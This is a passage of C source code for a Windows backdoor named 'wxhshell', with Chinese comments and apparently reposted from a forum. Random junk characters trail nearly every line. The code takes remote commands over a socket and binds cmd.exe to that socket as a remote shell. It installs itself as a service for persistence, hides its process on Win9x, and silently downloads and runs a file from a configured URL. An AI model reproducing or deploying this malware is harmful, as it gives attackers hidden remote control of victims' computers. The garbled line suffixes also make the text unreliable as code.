      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Awa|rIM  
    break; |v$%V#Bo  
  } -<51CDw,  
  // 安装 UhSh(E8p>  
  case 'i': { 71l"m^Z3zy  
    if(Install()) MzR1<W{ O  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); wHOlj)CZ  
    else o\]: !#r{T  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); cF_;hD|YZ  
    break; FS`vK`'  
    } Dpdn%8+Z  
  // 卸载 <cDKGd  
  case 'r': { C](z#c~c  
    if(Uninstall()) fEj9R@u+h  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); g>!:U6K  
    else 2&gd"Ak(  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); F8[B^alAe  
    break; p`ADro*  
    } t8A kdSU0  
  // 显示 wxhshell 所在路径 b@wBR9s  
  case 'p': { C,{F0-D  
    char svExeFile[MAX_PATH]; xA&  
    strcpy(svExeFile,"\n\r"); pG!(6V-x<E  
      strcat(svExeFile,ExeFile); Z\|u9DO  
        send(wsh,svExeFile,strlen(svExeFile),0); h eE'S/  
    break; WjY{rM,K  
    } vr{'FMc  
  // 重启 5>ADw3z'  
  case 'b': { 0Oc}rRH(C  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); >lraYMc<rZ  
    if(Boot(REBOOT)) ` y^zM/Ib  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); *U;4t/(  
    else { X`fhln9N  
    closesocket(wsh); 5@ bc(H  
    ExitThread(0); c{mKra  
    } >P\h,1  
    break; qukjS#>+  
    } &0+x2e)7g  
  // 关机 YgfSC}a  
  case 'd': { ~*7O(8  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Jt2,LL:G  
    if(Boot(SHUTDOWN)) /lLov.  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ` URSv,(  
    else { 8"km_[JE e  
    closesocket(wsh); c$Xe.:QY  
    ExitThread(0); "[jhaUAK  
    } 6_R\l@a  
    break; cW)Oi^q%o2  
    } NZo<IKD$  
  // 获取shell oe(9mYWKa6  
  case 's': { t1e4H=d>  
    CmdShell(wsh); 01LZE,.  
    closesocket(wsh); %bIsrQ~B  
    ExitThread(0); 1mJbQ#5  
    break; tS\=<T  
  } ZjU=~)O}H  
  // 退出 GA|/7[I}  
  case 'x': { JsmbW|t^  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ^uyNv-'F  
    CloseIt(wsh); E tJ~dL)  
    break; [1z{T(dh  
    } brg":V1a  
  // 离开 j|VXC(6 P,  
  case 'q': { 81g9ZV(4  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); n$.1Wk"  
    closesocket(wsh); gB]C&Q  
    WSACleanup();  6Xdtr  
    exit(1); p`>AnfG  
    break; ow2M,KU6Z  
        } 6xQ"bFm  
  } sA/,+aM  
  } B/jrYT$;m  
Ln ~4mN^  
  // 提示信息 <1aa~duT  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); uuu\f*<  
} IWAj Mwo  
  } X_D6eYF  
>9-Dd)<  
  return; zzX<?6MS  
} \Y*!f|=of  
9c#lLKrzG  
// shell模块句柄 RK?jtb=&A  
int CmdShell(SOCKET sock) xN6?yr  
{ It%T7 X#  
STARTUPINFO si; $"Afy)Ir  
ZeroMemory(&si,sizeof(si)); fO*)LPen.z  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; " Wp   
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; <O;&qT*b  
PROCESS_INFORMATION ProcessInfo; qh%i5Mu  
char cmdline[]="cmd"; oG!6}5  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); "?$L'!bM@  
  return 0; 6 |QTS|!  
} /sy-;JDnsu  
~\2;i]|  
// 自身启动模式 ucw`;<d8  
int StartFromService(void) 7g-Dfg.w  
{ 4Mk8Cpz  
typedef struct Y|mW.  
{ MzcB3pi  
  DWORD ExitStatus; x'@W=P 7   
  DWORD PebBaseAddress; R;WW f.#  
  DWORD AffinityMask; Q-[3j  
  DWORD BasePriority; a;%I\w;2  
  ULONG UniqueProcessId; w{3ycR  
  ULONG InheritedFromUniqueProcessId; u[)_^kIE(n  
}   PROCESS_BASIC_INFORMATION; W:WQaF`2x  
cI5N"U@yN  
PROCNTQSIP NtQueryInformationProcess; 5i6VZv  
(I[s3EnhS  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; vyE{WkZxR  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 5\WUoSgy  
WhH!U0  
  HANDLE             hProcess; N8VVGPa  
  PROCESS_BASIC_INFORMATION pbi; hje! w`  
*\D}eBd|  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); mKM,kY  
  if(NULL == hInst ) return 0; *m*`}9  
Wu,S\!  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); CA/ -Gb  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); SgiDh dE  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); C#0brCQq3  
EOhC6>ATh  
  if (!NtQueryInformationProcess) return 0; [O\9 9>  
"9w}dQ  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); &I%IaNco  
  if(!hProcess) return 0; avg4K*vv  
^;+[8:Kb  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; \Dfm(R  
cM3jnim  
  CloseHandle(hProcess); 0*/kGvw`i  
M_Bu,<q^  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Y17hOKc`  
if(hProcess==NULL) return 0; 8&%Cy'TIz4  
7#ofNH J  
HMODULE hMod; ZNi +Aw$u  
char procName[255]; teAukE=}  
unsigned long cbNeeded; S nW7x  
:<H8'4>  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Hte[TRbM  
z?4=h Sy  
  CloseHandle(hProcess); 4Ac}(N5D@  
_B3zRO  
if(strstr(procName,"services")) return 1; // 以服务启动 TKo<~?  
#ra*f~G  
  return 0; // 注册表启动 +Juh:1H  
} 2 L:$aZ  
W2hA-1  
// 主模块 )&:L'N  
int StartWxhshell(LPSTR lpCmdLine) "kU]  
{ 1 DqX:WM6  
  SOCKET wsl; h/HH Kn  
BOOL val=TRUE; >k;p.Pay%  
  int port=0; ~g7m3  
  struct sockaddr_in door; <[ZI.+_Wt  
{ D+Ym%n  
  if(wscfg.ws_autoins) Install(); w.z<60%},0  
JGis"e  
port=atoi(lpCmdLine); f0DK>L  
}RIU8=P  
if(port<=0) port=wscfg.ws_port; <UT>PCNG  
N'QqJe7Z  
  WSADATA data; 9,scH65x  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; _w>uI57U  
]ENK8bW  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   s7l23*Czl  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); +Ofa#^5);K  
  door.sin_family = AF_INET; <bP#H  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); cI:-Z{M7z  
  door.sin_port = htons(port);  m*dNrG  
H:Y&OZ  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { W:vr@e6  
closesocket(wsl); 9 I{/zKq  
return 1; y^R4I_* z  
} ezUQ> e  
<^c3}  
  if(listen(wsl,2) == INVALID_SOCKET) { f@d9Hqr+l;  
closesocket(wsl); yQ%"U^.m  
return 1; nxfoWy  
} `eR 7H>I  
  Wxhshell(wsl); Om9jtWk  
  WSACleanup(); _{)9b24(  
s$ z2 c  
return 0; N 9LgU)-Jt  
uokc :D  
} 4x=(Zw_X  
~KPv7WfG  
// 以NT服务方式启动 X#`dWNrN  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) C?o6(p"b  
{ )+EN$*H  
DWORD   status = 0; |>+uw|LtZ  
  DWORD   specificError = 0xfffffff; |##GIIv;i  
t,HFz6   
  serviceStatus.dwServiceType     = SERVICE_WIN32; .Y\EE;8%  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Ee)xnY%(  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; gCJIIzl%Bh  
  serviceStatus.dwWin32ExitCode     = 0; hqDqt"dKz  
  serviceStatus.dwServiceSpecificExitCode = 0; 9:8|)a(1  
  serviceStatus.dwCheckPoint       = 0; R5(T([w'  
  serviceStatus.dwWaitHint       = 0; [E|uY]DR  
fd1C {^c  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); y}"7e)|t%  
  if (hServiceStatusHandle==0) return; /pykW_`/-  
?\y%]1  
status = GetLastError(); |<c WllN  
  if (status!=NO_ERROR) "HK/u(z)  
{ J'Sm0  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; D(\$i.,b2  
    serviceStatus.dwCheckPoint       = 0; Bm/YgQi  
    serviceStatus.dwWaitHint       = 0; r,;\/^u*  
    serviceStatus.dwWin32ExitCode     = status; ^B]@Lr E^  
    serviceStatus.dwServiceSpecificExitCode = specificError; ;dZMa]X0  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); JvL{| KtyU  
    return; 8@eOTzm  
  } v"!4JZ%K  
*eb-rhCVn  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ;gB`YNL  
  serviceStatus.dwCheckPoint       = 0; yWb4Ify  
  serviceStatus.dwWaitHint       = 0; rQr!R$t/[  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ,Eu?JH&}u  
} U(,.D}PG  
3CZS)  
// 处理NT服务事件,比如:启动、停止 6gU{(H   
VOID WINAPI NTServiceHandler(DWORD fdwControl) "#4dW7E  
{ k;KdW P  
switch(fdwControl) Mu&x_&|  
{ fk{0d  
case SERVICE_CONTROL_STOP: m4m<nnM  
  serviceStatus.dwWin32ExitCode = 0; DQ80B)<O  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; N+g@8Q2s;5  
  serviceStatus.dwCheckPoint   = 0; ~ap2m  
  serviceStatus.dwWaitHint     = 0; sWqM?2g  
  { >*1}1~uU`'  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); rx!=q8=0R  
  } >: Wau  
  return; DBgMC"_   
case SERVICE_CONTROL_PAUSE: f.xA_Y>  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; [hh/1[   
  break; ]A+o>#n}x  
case SERVICE_CONTROL_CONTINUE: Es4qPB`g.  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; lpm JLH.F  
  break; ] d?x$>  
case SERVICE_CONTROL_INTERROGATE: S Xr%kndS  
  break; 9pD 7 f`  
}; #R&H &1  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 4N>>+]MWc  
} TqAPAHg  
BmBz}:xMez  
// 标准应用程序主函数 %X1x4t]  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) z`3( ,V  
{ (z7+|JE.  
`/IKdO*!S  
// 获取操作系统版本 q|(W-h+  
OsIsNt=GetOsVer(); (< c7<_-H  
GetModuleFileName(NULL,ExeFile,MAX_PATH); = |U@  
WO*9+\[v  
  // 从命令行安装 LKF/u` 0dP  
  if(strpbrk(lpCmdLine,"iI")) Install(); ^J/)6/TMXm  
zI;0&  
  // 下载执行文件 WF2-$`x  
if(wscfg.ws_downexe) { ~r*P]*51x  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Jjm|9|C,  
  WinExec(wscfg.ws_filenam,SW_HIDE); K[?Xm"4  
} n1v5Q2xw  
g@ith&*=h  
if(!OsIsNt) { ,xsH|xW  
// 如果时win9x,隐藏进程并且设置为注册表启动 nE W31 8  
HideProc(); sRhKlUJG  
StartWxhshell(lpCmdLine); *_-'/i  
} j`>^1Q  
else !CY&{LEYn0  
  if(StartFromService()) [iS$JG-  
  // 以服务方式启动 iCQ>@P]nE  
  StartServiceCtrlDispatcher(DispatchTable); 7jG(<!,  
else 8y2+&#$  
  // 普通方式启动 dK9Zg,DZL  
  StartWxhshell(lpCmdLine);  kLP0{A  
UQ?%|y*Kc  
return 0; Xrqx\X  
}
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只看该作者 1 发表于: 2006-10-10
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